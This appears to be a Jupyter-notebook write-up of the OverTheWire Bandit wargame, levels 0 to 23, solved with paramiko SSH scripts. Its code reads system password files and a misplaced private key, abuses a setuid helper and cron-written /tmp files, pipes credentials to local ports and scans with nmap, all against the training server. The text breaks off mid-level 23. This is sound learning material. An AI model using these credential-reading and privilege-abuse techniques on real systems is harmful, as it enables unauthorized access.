Over The Wire - Bandit Write Up

The Bandit wargame is aimed at absolute beginners. It will teach the basics needed to be able to play other wargames.

Solve with python. As of February 2019, this includes Level 0 up to Level 32

Bandit Level 0 --> Level 1

  • Commands you may need to solve this level
    • ls, cd, cat, file, du, find
  • python library to be used
    • paramiko
In [1]:
import paramiko

USER = 'bandit0'
PASS = 'bandit0'
PORT = 2220
PASS_FILE = 'PASS1.txt'

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [2]:
stdin, stdout, stderr = client.exec_command('cat readme')

result = stdout.read().decode('ascii')
# print(f'Password for Level 1 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 1 --> Level 2

  • Commands you may need to solve this level
    • ls, cd, cat, file, du, find
  • python library to be used
    • paramiko
In [3]:
import paramiko

USER = 'bandit1'
PORT = 2220
PASS_FILE = 'PASS2.txt'

with open('PASS1.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [4]:
stdin, stdout, stderr = client.exec_command('cat < -')

result = stdout.read().decode('ascii')
# print(f'Password for Level 2 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 2 --> Level 3

  • Commands you may need to solve this level
    • ls, cd, cat, file, du, find
  • python library to be used
    • paramiko
In [5]:
import paramiko

USER = 'bandit2'
PORT = 2220
PASS_FILE = 'PASS3.txt'

with open('PASS2.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [6]:
stdin, stdout, stderr = client.exec_command('cat "spaces in this filename"')

result = stdout.read().decode('ascii')
# print(f'Password for Level 3 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 3 --> Level 4

  • Commands you may need to solve this level
    • ls, cd, cat, file, du, find
  • python library to be used
    • paramiko
In [7]:
import paramiko

USER = 'bandit3'
PORT = 2220
PASS_FILE = 'PASS4.txt'

with open('PASS3.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [8]:
stdin, stdout, stderr = client.exec_command('ls -al ./inhere')
for l in stdout:
    print(l)
total 12

drwxr-xr-x 2 root    root    4096 Oct 16 14:00 .

drwxr-xr-x 3 root    root    4096 Oct 16 14:00 ..

-rw-r----- 1 bandit4 bandit3   33 Oct 16 14:00 .hidden

In [9]:
stdin, stdout, stderr = client.exec_command('cat ./inhere/.hidden')

result = stdout.read().decode('ascii')
# print(f'Password for Level 4 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 4 --> Level 5

  • Commands you may need to solve this level
    • ls, cd, cat, file, du, find
  • python library to be used
    • paramiko
In [10]:
import paramiko

USER = 'bandit4'
PORT = 2220
PASS_FILE = 'PASS5.txt'

with open('PASS4.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [11]:
stdin, stdout, stderr = client.exec_command('for f in ./inhere/*; do file $f; done')
for l in stdout:
    print(l)
./inhere/-file00: data

./inhere/-file01: data

./inhere/-file02: data

./inhere/-file03: data

./inhere/-file04: data

./inhere/-file05: data

./inhere/-file06: data

./inhere/-file07: ASCII text

./inhere/-file08: data

./inhere/-file09: data

In [12]:
stdin, stdout, stderr = client.exec_command('cat ./inhere/-file07')

result = stdout.read().decode('ascii')
# print(f'Password for Level 5 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 5 --> Level 6

  • Commands you may need to solve this level
    • ls, cd, cat, file, du, find
  • python library to be used
    • paramiko
In [13]:
import paramiko

USER = 'bandit5'
PORT = 2220
PASS_FILE = 'PASS6.txt'

with open('PASS5.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [14]:
stdin, stdout, stderr = client.exec_command('find ./inhere/ -size 1033c')
for l in stdout:
    print(l)
./inhere/maybehere07/.file2

In [15]:
stdin, stdout, stderr = client.exec_command('cat ./inhere/maybehere07/.file2')

result = stdout.read().decode('ascii')
# print(f'Password for Level 6 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 6 --> Level 7

  • Commands you may need to solve this level
    • ls, cd, cat, file, du, find, grep
  • python library to be used
    • paramiko
In [16]:
import paramiko

USER = 'bandit6'
PORT = 2220
PASS_FILE = 'PASS7.txt'

with open('PASS6.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [17]:
stdin, stdout, stderr = client.exec_command('find / -path /proc -prune -o -user bandit7 -group bandit6 -size 33c -type f -print 2>&1 | grep -v "Permission denied"')
for l in stdout:
    print(l)
/var/lib/dpkg/info/bandit7.password

In [18]:
stdin, stdout, stderr = client.exec_command('cat /var/lib/dpkg/info/bandit7.password')

result = stdout.read().decode('ascii')
# print(f'Password for Level 7 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 7 --> Level 8

  • Commands you may need to solve this level
    • grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd
  • python library to be used
    • paramiko
In [19]:
import paramiko

USER = 'bandit7'
PORT = 2220
PASS_FILE = 'PASS8.txt'

with open('PASS7.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [20]:
stdin, stdout, stderr = client.exec_command('cat data.txt')
for l in stdout:
    if l.startswith('millionth'):
        result = l.split()[1]
        break

# print(f'Password for Level 8 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 8 --> Level 9

  • Commands you may need to solve this level
    • grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd
  • python library to be used
    • paramiko
In [21]:
import paramiko

USER = 'bandit8'
PORT = 2220
PASS_FILE = 'PASS9.txt'

with open('PASS8.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [22]:
candidates = []

stdin, stdout, stderr = client.exec_command('cat data.txt')
for l in stdout:
    if l in candidates:
        candidates.remove(l)
    else:
        candidates.append(l)

result = candidates[0]
# print(f'Password for Level 9 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 9 --> Level 10

  • Commands you may need to solve this level
    • grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd
  • python library to be used
    • paramiko
In [23]:
import paramiko

USER = 'bandit9'
PORT = 2220
PASS_FILE = 'PASS10.txt'

with open('PASS9.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [24]:
import re
import string

stdin, stdout, stderr = client.exec_command('strings data.txt | grep -E "^(=)+"')
data = stdout.read().decode('ascii')

# Extract readable part from data
# https://stackoverflow.com/questions/39836287/how-to-print-only-printable-charcters-in-binary-file-equvalent-to-strings-under
# printable = {ord(c) for c in string.printable}

#result = bytearray()
#for c in data:
#    if c in printable:
#        result.append(c)

# candidates = re.findall(b'\=+(.*)$', data)

# python equivalent of linux strings command difficult to implement
In [25]:
# data consists of a few sentences. so we need to clean it.
result = data.split()[-1]

# print(f'Password for Level 10 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 10 --> Level 11

  • Commands you may need to solve this level
    • grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd
  • python library to be used
    • paramiko
In [26]:
import paramiko

USER = 'bandit10'
PORT = 2220
PASS_FILE = 'PASS11.txt'

with open('PASS10.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [27]:
import base64

stdin, stdout, stderr = client.exec_command('cat ./data.txt')

# Contents in the data.txt is actually not only password, but it's a sentence
data = base64.b64decode(stdout.read()).decode('ascii')
result = data.split()[-1]
# print(f'Password for Level 11 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 11 --> Level 12

  • Commands you may need to solve this level
    • grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd
  • python library to be used
    • paramiko
In [28]:
import paramiko

USER = 'bandit11'
PORT = 2220
PASS_FILE = 'PASS12.txt'

with open('PASS11.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [29]:
stdin, stdout, stderr = client.exec_command('cat ./data.txt')

# Contents in the data.txt is actually not only password, but it's a sentence
data = stdout.read().decode('ascii').strip()
result = ''
for c in data:
    if c.isupper():
        num = ord(c) + 13
        if num > ord('Z'):
            num = num - ord('Z') + ord('A') -1
        result += chr(num)
    elif c.islower():
        num = ord(c) + 13
        if num > ord('z'):
            num = num - ord('z') + ord('a') -1
        result += chr(num)
    else:
        result += c

result = result.split()[-1]
# print(f'Password for Level 12 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 12 --> Level 13

  • Commands you may need to solve this level
    • grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd, mkdir, cp, mv, file
  • python library to be used
    • paramiko
In [30]:
import paramiko

USER = 'bandit12'
PORT = 2220
PASS_FILE = 'PASS13.txt'

with open('PASS12.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [31]:
# As the instruction suggests, data.txt should not be the txt file. Let's see what actually is.
stdin, stdout, stderr = client.exec_command('head -n1 data.txt')
print(stdout.read().decode('ascii'))
00000000: 1f8b 0808 d7d2 c55b 0203 6461 7461 322e  .......[..data2.

In [32]:
# It turns out to have file signature of "1f8b 08", it is GZIP file. Let's recover the file.
tempdir = '/tmp/testdir012345'
client.exec_command(f'mkdir {tempdir} && xxd -r data.txt {tempdir}/data.gz ')
stdin, stdout, stderr = client.exec_command(f'cd {tempdir} && gzip -d data.gz && ls')
print(stdout.read().decode('ascii'))

In [33]:
# Again I want to make sure what this file really is
stdin, stdout, stderr = client.exec_command(f'file {tempdir}/data')
print(stdout.read())
b'/tmp/testdir012345/data: POSIX tar archive (GNU)\n'
In [34]:
# it is a bzip2 file. Let's recover the file.
stdin, stdout, stderr = client.exec_command(f'cd {tempdir} && bzip2 -d data && ls')
print(stdout.read().decode('ascii'))

In [35]:
# Again again I want to make sure what this file really is
stdin, stdout, stderr = client.exec_command(f'file {tempdir}/data.out')
print(stdout.read())
b"/tmp/testdir012345/data.out: cannot open `/tmp/testdir012345/data.out' (No such file or directory)\n"
In [36]:
# It is a GZIP file. Let's recover the file.
stdin, stdout, stderr = client.exec_command(f'cd {tempdir} && mv data.out data.gz && gzip -d data.gz && ls')
print(stdout.read().decode('ascii'))

In [37]:
# Let's see what file type we get
stdin, stdout, stderr = client.exec_command(f'file {tempdir}/data')
print(stdout.read())
b'/tmp/testdir012345/data: POSIX tar archive (GNU)\n'
In [38]:
# It is a Tar file. Let's decompress the file.
stdin, stdout, stderr = client.exec_command(f'cd {tempdir} && tar -xf data && ls')
print(stdout.read().decode('ascii'))
data
data5.bin
data6.bin.out
data8

In [39]:
# Let's see what file type we get
stdin, stdout, stderr = client.exec_command(f'file {tempdir}/data5.bin')
print(stdout.read())
b'/tmp/testdir012345/data5.bin: POSIX tar archive (GNU)\n'
In [40]:
# It is a Tar file again. Let's decompress the file.
stdin, stdout, stderr = client.exec_command(f'cd {tempdir} && tar -xf data5.bin && ls')
print(stdout.read().decode('ascii'))
data
data5.bin
data6.bin
data6.bin.out
data8

In [41]:
# Let's see what file type we get
stdin, stdout, stderr = client.exec_command(f'file {tempdir}/data6.bin')
print(stdout.read())
b'/tmp/testdir012345/data6.bin: bzip2 compressed data, block size = 900k\n'
In [42]:
# it is a bzip2 file again. Let's recover the file.
stdin, stdout, stderr = client.exec_command(f'cd {tempdir} && bzip2 -d data6.bin && ls')
print(stdout.read().decode('ascii'))

In [43]:
# Let's see what file type we get
stdin, stdout, stderr = client.exec_command(f'file {tempdir}/data6.bin.out')
print(stdout.read())
b'/tmp/testdir012345/data6.bin.out: POSIX tar archive (GNU)\n'
In [44]:
# It is a Tar file again. Let's decompress the file.
stdin, stdout, stderr = client.exec_command(f'cd {tempdir} && tar -xf data6.bin.out && ls')
print(stdout.read().decode('ascii'))
data
data5.bin
data6.bin
data6.bin.out
data8
data8.bin

In [45]:
# Let's see what file type we get
stdin, stdout, stderr = client.exec_command(f'file {tempdir}/data8.bin')
print(stdout.read())
b'/tmp/testdir012345/data8.bin: gzip compressed data, was "data9.bin", last modified: Tue Oct 16 12:00:23 2018, max compression, from Unix\n'
In [46]:
# It is a GZIP file. Let's recover the file.
stdin, stdout, stderr = client.exec_command(f'cd {tempdir} && mv data8.bin data8.gz && gzip -d data8.gz && ls')
print(stdout.read().decode('ascii'))

In [47]:
# Let's see what file type we get
stdin, stdout, stderr = client.exec_command(f'file {tempdir}/data8')
print(stdout.read())
b'/tmp/testdir012345/data8: ASCII text\n'
In [48]:
# Finally it seems we have a text file.
stdin, stdout, stderr = client.exec_command(f'cat {tempdir}/data8')

data = stdout.read().decode('ascii')
result = data.split()[-1]
# print(f'Password for Level 13 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 13 --> Level 14

  • Commands you may need to solve this level
    • ssh, telnet, nc, openssl, s_client, nmap
  • python library to be used
    • paramiko
In [49]:
import paramiko

USER = 'bandit13'
PORT = 2220
PASS_FILE = 'PASS14.txt'

with open('PASS13.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [50]:
# Let's see what file we got
stdin, stdout, stderr = client.exec_command('ls -al')
print(stdout.read().decode('ascii'))
total 24
drwxr-xr-x  2 root     root     4096 Oct 16 14:00 .
drwxr-xr-x 41 root     root     4096 Oct 16 14:00 ..
-rw-r--r--  1 root     root      220 May 15  2017 .bash_logout
-rw-r--r--  1 root     root     3526 May 15  2017 .bashrc
-rw-r--r--  1 root     root      675 May 15  2017 .profile
-rw-r-----  1 bandit14 bandit13 1679 Oct 16 14:00 sshkey.private

In [51]:
# From the above output sshkey.private looks suspicious, and  it's obvious the access list is wrongly configured(Group bandit13 can read the file)
stdin, stdout, stderr = client.exec_command('cat ./sshkey.private')

result = stdout.read().decode('ascii')
print('Private key is saved for Level 14: Starting from {}'.format(result.split("\n")[1][:5]))

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()
Private key is saved for Level 14: Starting from MIIEp

Bandit Level 14 --> Level 15

  • Commands you may need to solve this level
    • ssh, telnet, nc, openssl, s_client, nmap
  • python library to be used
    • paramiko
In [52]:
import paramiko

USER = 'bandit14'
PORT = 2220
PASS_FILE = 'PASS15.txt'

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT, key_filename='PASS14.txt')
In [53]:
#As per the instruction, let's submit the current private key to the port 30000 of localhost
stdin, stdout, stderr = client.exec_command('cat /home/bandit13/sshkey.private | nc localhost 30000')
print(stdout.read().decode('ascii'))
Wrong! Please enter the correct current password

In [54]:
#It seems we need to submit the actual password.
stdin, stdout, stderr = client.exec_command('cat /etc/bandit_pass/bandit14 | nc localhost 30000')

data = stdout.read().decode('ascii')
result = data.split()[-1]
# print(f'Password for Level 15 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 15 --> Level 16

  • Commands you may need to solve this level
    • ssh, telnet, nc, openssl, s_client, nmap
  • python library to be used
    • paramiko
In [55]:
import paramiko

USER = 'bandit15'
PORT = 2220
PASS_FILE = 'PASS16.txt'

with open('PASS15.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [56]:
#It's almost identical to the last level, but just use SSL instead of plain connection.
stdin, stdout, stderr = client.exec_command('cat /etc/bandit_pass/bandit15 | openssl s_client -quiet -connect localhost:30001')

data = stdout.read().decode('ascii')
result = data.split()[-1]
# print(f'Password for Level 16 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 16 --> Level 17

  • Commands you may need to solve this level
    • ssh, telnet, nc, openssl, s_client, nmap
  • python library to be used
    • paramiko
In [57]:
import paramiko

USER = 'bandit16'
PORT = 2220
PASS_FILE = 'PASS17.txt'

with open('PASS16.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [58]:
# Find out which ports are listening
stdin, stdout, stderr = client.exec_command('nmap localhost -p 31000-32000')
print(stdout.read().decode('ascii'))
Starting Nmap 7.40 ( https://nmap.org ) at 2019-02-05 00:31 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00019s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE
31518/tcp open  unknown
31790/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

In [59]:
#Let's send pseudo text to each port, and see what we get. We need to use timeout commend, otherwise the mirror server endlessly wait for our input... 
ports = ['31518', '31790']
for port in ports:
    stdin, stdout, stderr = client.exec_command('echo "are you a mirror?" | timeout 3 openssl s_client -quiet -connect localhost:' + port)
    data = stdout.read().decode('ascii')
    print(f'Port {port} replied: ')
    print(data)
Port 31518 replied: 
are you a mirror?

Port 31790 replied: 
Wrong! Please enter the correct current password

In [60]:
#It's almost identical to the last level, but just use SSL instead of plain connection.
stdin, stdout, stderr = client.exec_command('cat /etc/bandit_pass/bandit16 | timeout 3 openssl s_client -quiet -connect localhost:31790')

#The reply is a private key with some other sentence. So we need to extract a key, and store it.
data = stdout.read().decode('ascii')
result = '\n'.join(data.split('\n')[1:])

# print(f'Password for Level 16 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 17 --> Level 18

  • Commands you may need to solve this level
    • cat, grep, ls, diff
  • python library to be used
    • paramiko
In [61]:
import paramiko

USER = 'bandit17'
PORT = 2220
PASS_FILE = 'PASS18.txt'

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, port=PORT, key_filename='PASS17.txt')
In [62]:
#Compare two files and we just need to extract the line which is new to the password.new file
stdin, stdout, stderr = client.exec_command('diff passwords.old passwords.new | grep -E "^>"')

#The reply is a password with some other sentence. So we need to extract a password, and store it.
data = stdout.read().decode('ascii')
result = data.split()[-1]

# print(f'Password for Level 18 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 18 --> Level 19

  • Commands you may need to solve this level
    • ssh, ls, cat
  • python library to be used
    • paramiko
In [63]:
import paramiko

USER = 'bandit18'
PORT = 2220
PASS_FILE = 'PASS19.txt'

with open('PASS18.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [64]:
sftp = client.open_sftp()
sftp.get('readme', PASS_FILE)
sftp.close()

client.close()
#with open(PASS_FILE, 'r') as f:
#    print( print(f'Password for Level 19 is {f.read().strip()}'))

Bandit Level 19 --> Level 20

- Commands you may need to solve this level

  • python library to be used
    • paramiko
In [65]:
import paramiko

USER = 'bandit19'
PORT = 2220
PASS_FILE = 'PASS20.txt'

with open('PASS19.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [66]:
# Let's see what files we have in home directory
stdin, stdout, stderr = client.exec_command('ls -al')
print(stdout.read().decode('ascii'))
total 28
drwxr-xr-x  2 root     root     4096 Oct 16 14:00 .
drwxr-xr-x 41 root     root     4096 Oct 16 14:00 ..
-rwsr-x---  1 bandit20 bandit19 7296 Oct 16 14:00 bandit20-do
-rw-r--r--  1 root     root      220 May 15  2017 .bash_logout
-rw-r--r--  1 root     root     3526 May 15  2017 .bashrc
-rw-r--r--  1 root     root      675 May 15  2017 .profile

In [67]:
# Let's see what this file can do
stdin, stdout, stderr = client.exec_command('~/bandit20-do')
print(stdout.read().decode('ascii'))
Run a command as another user.
  Example: /home/bandit19/bandit20-do id

In [68]:
# It looks we can use this to execute arbitrary command as user bandit20. Let's read password file and store them.
stdin, stdout, stderr = client.exec_command('~/bandit20-do cat /etc/bandit_pass/bandit20')

result = stdout.read().decode('ascii')
# print(f'Password for Level 20 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 20 --> Level 21

  • Commands you may need to solve this level
    • ssh, nc, cat, bash, screen, tmux, Unix ‘job control’ (bg, fg, jobs, &, CTRL-Z, …)
  • python library to be used
    • paramiko
In [69]:
import paramiko

USER = 'bandit20'
PORT = 2220
PASS_FILE = 'PASS21.txt'

with open('PASS20.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [70]:
# Let's see what files we have in home directory
stdin, stdout, stderr = client.exec_command('ls -al')
print(stdout.read().decode('ascii'))
total 32
drwxr-xr-x  2 root     root      4096 Oct 16 14:00 .
drwxr-xr-x 41 root     root      4096 Oct 16 14:00 ..
-rw-r--r--  1 root     root       220 May 15  2017 .bash_logout
-rw-r--r--  1 root     root      3526 May 15  2017 .bashrc
-rw-r--r--  1 root     root       675 May 15  2017 .profile
-rwsr-x---  1 bandit21 bandit20 12088 Oct 16 14:00 suconnect

In [71]:
# Let's see what this file can do
stdin, stdout, stderr = client.exec_command('~/suconnect')
print(stdout.read().decode('ascii'))
Usage: /home/bandit20/suconnect <portnumber>
This program will connect to the given port on localhost using TCP. If it receives the correct password from the other side, the next password is transmitted back.

In [72]:
# As seen in the Usage, it needs two connections to be opened. One for listening the request, and the other to send the request to that port using this suconnect.
# I used tmux to have two windows.
# And in one terminal, execute 'nc -l -p 9999
# In the other terminal, execute '~/suconnect 9999'
# Once suconnect is connected to nc, type the bandit20 password

Bandit Level 21 --> Level 22

  • Commands you may need to solve this level
    • cron, crontab, crontab(5) (use “man 5 crontab” to access this)
  • python library to be used
    • paramiko
In [1]:
import paramiko

USER = 'bandit21'
PORT = 2220
PASS_FILE = 'PASS22.txt'

with open('PASS21.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [2]:
# Let's see what files are there in /etc/cron.d
stdin, stdout, stderr = client.exec_command('ls -al /etc/cron.d')
print(stdout.read().decode('ascii'))
total 24
drwxr-xr-x  2 root root 4096 Oct 16 14:00 .
drwxr-xr-x 88 root root 4096 Oct 16 14:00 ..
-rw-r--r--  1 root root  120 Oct 16 14:00 cronjob_bandit22
-rw-r--r--  1 root root  122 Oct 16 14:00 cronjob_bandit23
-rw-r--r--  1 root root  120 Oct 16 14:00 cronjob_bandit24
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder

In [3]:
# Next we check the contents of each file
stdin, stdout, stderr = client.exec_command('for i in 22 23 24; do echo ---; cat /etc/cron.d/cronjob_bandit$i; done')
print(stdout.read().decode('ascii'))
---
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
---
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
---
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

In [4]:
# we check the contents of each shell script
stdin, stdout, stderr = client.exec_command('for i in 22 23 24; do echo ---; cat /usr/bin/cronjob_bandit$i.sh; done')
print(stdout.read().decode('ascii'))
---
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
---
---

In [5]:
# It seems the password is written to the specified file in /tmp
stdin, stdout, stderr = client.exec_command('cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv')

result = stdout.read().decode('ascii')
# print(f'Password for Level 21 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 22 --> Level 23

  • Commands you may need to solve this level
    • cron, crontab, crontab(5) (use “man 5 crontab” to access this)
  • python library to be used
    • paramiko
In [6]:
import paramiko

USER = 'bandit22'
PORT = 2220
PASS_FILE = 'PASS23.txt'

with open('PASS22.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [7]:
# Let's see what files are there in /etc/cron.d
stdin, stdout, stderr = client.exec_command('ls -al /etc/cron.d')
print(stdout.read().decode('ascii'))
total 24
drwxr-xr-x  2 root root 4096 Oct 16 14:00 .
drwxr-xr-x 88 root root 4096 Oct 16 14:00 ..
-rw-r--r--  1 root root  120 Oct 16 14:00 cronjob_bandit22
-rw-r--r--  1 root root  122 Oct 16 14:00 cronjob_bandit23
-rw-r--r--  1 root root  120 Oct 16 14:00 cronjob_bandit24
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder

In [8]:
# we check the contents of each shell script
stdin, stdout, stderr = client.exec_command('for i in 22 23 24; do echo ---; cat /usr/bin/cronjob_bandit$i.sh; done')
print(stdout.read().decode('ascii'))
---
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
---
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
---

In [9]:
# the password file is again written in a file in under /tmp. First let's see what file name is generated.
stdin, stdout, stderr = client.exec_command("echo I am user bandit23 | md5sum | cut -d ' ' -f 1")
print(stdout.read().decode('ascii'))
8ca319486bfbbc3663ea0fbe81326349

In [10]:
# we check the contents of each shell script
stdin, stdout, stderr = client.exec_command('cat /tmp/8ca319486bfbbc3663ea0fbe81326349')

result = stdout.read().decode('ascii')
# print(f'Password for Level 23 is {result}')

with open(PASS_FILE, 'w') as f:
    f.write(result)

client.close()

Bandit Level 23 --> Level 24

  • Commands you may need to solve this level
    • cron, crontab, crontab(5) (use “man 5 crontab” to access this)
  • python library to be used
    • paramiko
In [11]:
import paramiko

USER = 'bandit23'
PORT = 2220
PASS_FILE = 'PASS24.txt'

with open('PASS23.txt', 'r') as f:
    PASS = f.read().strip()

client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('bandit.labs.overthewire.org', username=USER, password=PASS, port=PORT)
In [12]:
# I think I'm sure which file to check this time
stdin, stdout, stderr = client.exec_command('cat /usr/bin/cronjob_bandit24.sh')
print(stdout.read().decode('ascii'))
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
	echo "Handling $i"
